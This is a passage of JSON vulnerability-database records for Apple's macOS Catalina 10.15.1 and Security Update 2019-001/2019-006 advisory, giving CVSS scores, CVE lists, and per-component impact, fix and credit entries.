"bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8798", "CVE-2019-8750", "CVE-2019-8787", "CVE-2017-7152", "CVE-2019-8747", "CVE-2019-8743", "CVE-2019-8820", "CVE-2019-8797", "CVE-2019-8808", "CVE-2019-8785", "CVE-2019-8794", "CVE-2019-8816", "CVE-2019-8796", "CVE-2019-8764", "CVE-2019-8775", "CVE-2019-8766", "CVE-2019-8811", "CVE-2019-8786", "CVE-2019-8765", "CVE-2019-8803", "CVE-2019-8812", "CVE-2019-8829"], "modified": "2020-04-05T02:44:15", "id": "APPLE:HT210724", "href": "https://support.apple.com/kb/HT210724", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:13:47", "description": "# About the security content of macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006\n\nThis document describes the security content of macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## macOS Catalina 10.15.1, Security Update 2019-001, Security Update 2019-006\n\nReleased October 29, 2019\n\n**Accounts**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry updated February 11, 2020\n\n**Accounts**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry added April 4, 2020\n\n**AirDrop**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry added April 4, 2020\n\n**AMD**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8748: Lilang Wu and Moony Li of TrendMicro Mobile Security Research Team\n\nEntry added February 11, 2020\n\n**apache_mod_php**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Multiple issues in PHP\n\nDescription: Multiple issues were addressed by updating to PHP version 7.3.8.\n\nCVE-2019-11041\n\nCVE-2019-11042\n\nEntry added February 11, 2020\n\n**APFS**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8824: Mac working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**App Store**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: A local attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**AppleGraphicsControl**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8817: Arash Tohidi\n\n**AppleGraphicsControl**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8716: Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group, Zhuo Liang of Qihoo 360 Vulcan Team\n\n**Associated Domains**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Improper URL processing may lead to data exfiltration\n\nDescription: An issue existed in the parsing of URLs. This issue was addressed with improved input validation.\n\nCVE-2019-8788: Juha Lindstedt of Pakastin, Mirko Tanania, Rauli Rikama of Zero Keyboard Ltd\n\n**Audio**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8706: Yu Zhou of Ant-financial Light-Year Security Lab\n\n**Audio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\nEntry updated February 11, 2020\n\n**Audio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted audio file may disclose restricted memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8850: Anonymous working with Trend Micro Zero Day Initiative\n\nEntry updated December 18, 2019\n\n**Books**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8789: Gertjan Franken of imec-DistriNet, KU Leuven\n\n**Contacts**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Processing a maliciously contact may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2017-7152: Oliver Paukstadt of Thinking Objects GmbH (to.com)\n\n**CoreAudio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Playing a malicious audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added November 6, 2019\n\n**CoreAudio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted movie may result in the disclosure of process memory\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2019-8705: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**CoreMedia**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8825: Found by GWP-ASan in Google Chrome\n\nEntry added February 11, 2020\n\n**CUPS**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8736: Pawel Gocyla of ING Tech Poland (ingtechpoland.com)\n\n**CUPS**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted string may lead to heap corruption\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2019-8767: Stephen Zeisberg\n\n**CUPS**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8737: Pawel Gocyla of ING Tech Poland (ingtechpoland.com)\n\n**File Quarantine**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: This issue was addressed by removing the vulnerable code.\n\nCVE-2019-8509: CodeColorist of Ant-Financial LightYear Labs\n\n**File System Events**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Foundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8746: natashenka and Samuel Gro\u00df of Google Project Zero\n\nEntry added February 11, 2020\n\n**Graphics**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Processing a malicious shader may result in unexpected application termination or arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2018-12152: Piotr Bania of Cisco Talos\n\nCVE-2018-12153: Piotr Bania of Cisco Talos\n\nCVE-2018-12154: Piotr Bania of Cisco Talos\n\n**Graphics Driver**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8807: Yu Wang of Didi Research America\n\n**IOGraphics**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8759: another of 360 Nirvan Team\n\n**iTunes**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Running the iTunes installer in an untrusted directory may result in arbitrary code execution\n\nDescription: A dynamic library loading issue existed in iTunes setup. This was addressed with improved path searching.\n\nCVE-2019-8801: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8709: derrek (@derrekr6) derrek (@derrekr6)\n\nEntry added February 11, 2020\n\n**Kernel**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8717: Jann Horn of Google Project Zero\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019, updated February 11, 2020\n\n**Kernel**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to determine kernel memory layout\n\nDescription: A memory corruption issue existed in the handling of IPv6 packets. This issue was addressed with improved memory management.\n\nCVE-2019-8744: Zhuo Liang of Qihoo 360 Vulcan Team\n\n**Kernel**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 6, 2019\n\n**libxml2**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Multiple issues in libxml2\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8749: found by OSS-Fuzz\n\nCVE-2019-8756: found by OSS-Fuzz\n\n**libxslt**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Multiple issues in libxslt\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8750: found by OSS-Fuzz\n\n**manpages**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2019-8802: Csaba Fitzl (@theevilbit)\n\n**PDFKit**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An attacker may be able to exfiltrate the contents of an encrypted PDF\n\nDescription: An issue existed in the handling of links in encrypted PDFs. This issue was addressed by adding a confirmation prompt.\n\nCVE-2019-8772: Jens M\u00fcller of Ruhr University Bochum, Fabian Ising of FH M\u00fcnster University of Applied Sciences, Vladislav Mladenov of Ruhr University Bochum, Christian Mainka of Ruhr University Bochum, Sebastian Schinzel of FH M\u00fcnster University of Applied Sciences, and J\u00f6rg Schwenk of Ruhr University Bochum\n\nEntry added February 11, 2020\n\n**PluginKit**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A local user may be able to check for the existence of arbitrary files\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2019-8708: an anonymous researcher\n\n**PluginKit**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8715: an anonymous researcher\n\n**Screen Sharing Server**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: A user who shares their screen may not be able to end screen sharing\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8858: Saul van der Bijl of Saul\u2019s Place Counseling B.V.\n\nEntry added December 18, 2019\n\n**System Extensions**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2019-8805: Scott Knight (@sdotknight) of VMware Carbon Black TAU\n\n**UIFoundation**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: A malicious HTML document may be able to render iframes with sensitive user information\n\nDescription: A cross-origin issue existed with \"iframe\" elements. This was addressed with improved tracking of security origins.\n\nCVE-2019-8754: Renee Trisberg of SpectX\n\nEntry added February 24, 2020\n\n**UIFoundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved bounds checking.\n\nCVE-2019-8745: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**UIFoundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8831: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**UIFoundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Parsing a maliciously crafted text file may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8761: Renee Trisberg of SpectX\n\nEntry updated August 10, 2020, updated July 21, 2021 \n\n**Wi-Fi**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An attacker in Wi-Fi range may be able to view a small amount of network traffic\n\nDescription: A logic issue existed in the handling of state transitions. This was addressed with improved state management.\n\nCVE-2019-15126: Milos Cermak at ESET\n\nEntry added February 11, 2020\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Find My**\n\nWe would like to acknowledge Amr Elseehy for their assistance.\n\nEntry added July 28, 2020\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero, Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 6, 2019\n\n**libresolv**\n\nWe would like to acknowledge enh at Google for their assistance.\n\n**Local Authentication**\n\nWe would like to acknowledge Ryan Lopopolo for their assistance.\n\nEntry added February 11, 2020\n\n**mDNSResponder**\n\nWe would like to acknowledge Gregor Lang of e.solutions GmbH for their assistance.\n\nEntry added February 11, 2020\n\n**Postfix**\n\nWe would like to acknowledge Chris Barker of Puppet for their assistance.\n\n**python**\n\nWe would like to acknowledge an anonymous researcher for their assistance.\n\n**VPN**\n\nWe would like to acknowledge Royce Gawron of Second Son Consulting, Inc. for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: July 21, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-29T00:00:00", "type": "apple", "title": "About the security content of macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7152", "CVE-2018-12152", "CVE-2018-12153", "CVE-2018-12154", "CVE-2019-11041", "CVE-2019-11042", "CVE-2019-15126", "CVE-2019-8509", "CVE-2019-8592", "CVE-2019-8705", "CVE-2019-8706", "CVE-2019-8708", "CVE-2019-8709", "CVE-2019-8715", "CVE-2019-8716", "CVE-2019-8717", "CVE-2019-8736", "CVE-2019-8737", "CVE-2019-8744", "CVE-2019-8745", "CVE-2019-8746", "CVE-2019-8748", "CVE-2019-8749", "CVE-2019-8750", "CVE-2019-8754", "CVE-2019-8756", "CVE-2019-8759", "CVE-2019-8761", "CVE-2019-8767", "CVE-2019-8772", "CVE-2019-8784", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8788", "CVE-2019-8789", "CVE-2019-8794", "CVE-2019-8796", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8801", "CVE-2019-8802", "CVE-2019-8803", "CVE-2019-8805", "CVE-2019-8807", "CVE-2019-8817", "CVE-2019-8824", "CVE-2019-8825", "CVE-2019-8829", "CVE-2019-8831", "CVE-2019-8850", "CVE-2019-8858"], "modified": "2019-10-29T00:00:00", "id": "APPLE:356155132BDE067E2049C0C5B87F5F09", "href": "https://support.apple.com/kb/HT210722", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:04", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## macOS Catalina 10.15.1, Security Update 2019-001, Security Update 2019-006\n\nReleased October 29, 2019\n\n**Accounts**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry updated February 11, 2020\n\n**Accounts**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry added April 4, 2020\n\n**AirDrop**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry added April 4, 2020\n\n**AMD**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8748: Lilang Wu and Moony Li of TrendMicro Mobile Security Research Team\n\nEntry added February 11, 2020\n\n**apache_mod_php**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Multiple issues in PHP\n\nDescription: Multiple issues were addressed by updating to PHP version 7.3.8.\n\nCVE-2019-11041\n\nCVE-2019-11042\n\nEntry added February 11, 2020\n\n**APFS**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8824: Mac working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**App Store**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: A local attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**AppleGraphicsControl**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8817: Arash Tohidi\n\n**AppleGraphicsControl**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8716: Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group, Zhuo Liang of Qihoo 360 Vulcan Team\n\n**Associated Domains**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Improper URL processing may lead to data exfiltration\n\nDescription: An issue existed in the parsing of URLs. This issue was addressed with improved input validation.\n\nCVE-2019-8788: Juha Lindstedt of Pakastin, Mirko Tanania, Rauli Rikama of Zero Keyboard Ltd\n\n**Audio**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8706: Yu Zhou of Ant-financial Light-Year Security Lab\n\n**Audio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\nEntry updated February 11, 2020\n\n**Audio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted audio file may disclose restricted memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8850: Anonymous working with Trend Micro Zero Day Initiative\n\nEntry updated December 18, 2019\n\n**Books**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8789: Gertjan Franken of imec-DistriNet, KU Leuven\n\n**Contacts**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Processing a maliciously contact may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2017-7152: Oliver Paukstadt of Thinking Objects GmbH (to.com)\n\n**CoreAudio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Playing a malicious audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added November 6, 2019\n\n**CoreAudio**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted movie may result in the disclosure of process memory\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2019-8705: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**CoreMedia**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8825: Found by GWP-ASan in Google Chrome\n\nEntry added February 11, 2020\n\n**CUPS**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8736: Pawel Gocyla of ING Tech Poland (ingtechpoland.com)\n\n**CUPS**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Processing a maliciously crafted string may lead to heap corruption\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2019-8767: Stephen Zeisberg\n\n**CUPS**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8737: Pawel Gocyla of ING Tech Poland (ingtechpoland.com)\n\n**File Quarantine**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: This issue was addressed by removing the vulnerable code.\n\nCVE-2019-8509: CodeColorist of Ant-Financial LightYear Labs\n\n**File System Events**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Foundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8746: Natalie Silvanovich and Samuel Gro\u00df of Google Project Zero\n\nEntry added February 11, 2020\n\n**Graphics**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Processing a malicious shader may result in unexpected application termination or arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2018-12152: Piotr Bania of Cisco Talos\n\nCVE-2018-12153: Piotr Bania of Cisco Talos\n\nCVE-2018-12154: Piotr Bania of Cisco Talos\n\n**Graphics Driver**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8807: Yu Wang of Didi Research America\n\n**IOGraphics**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8759: another of 360 Nirvan Team\n\n**iTunes**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: Running the iTunes installer in an untrusted directory may result in arbitrary code execution\n\nDescription: A dynamic library loading issue existed in iTunes setup. This was addressed with improved path searching.\n\nCVE-2019-8801: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8709: derrek (@derrekr6) derrek 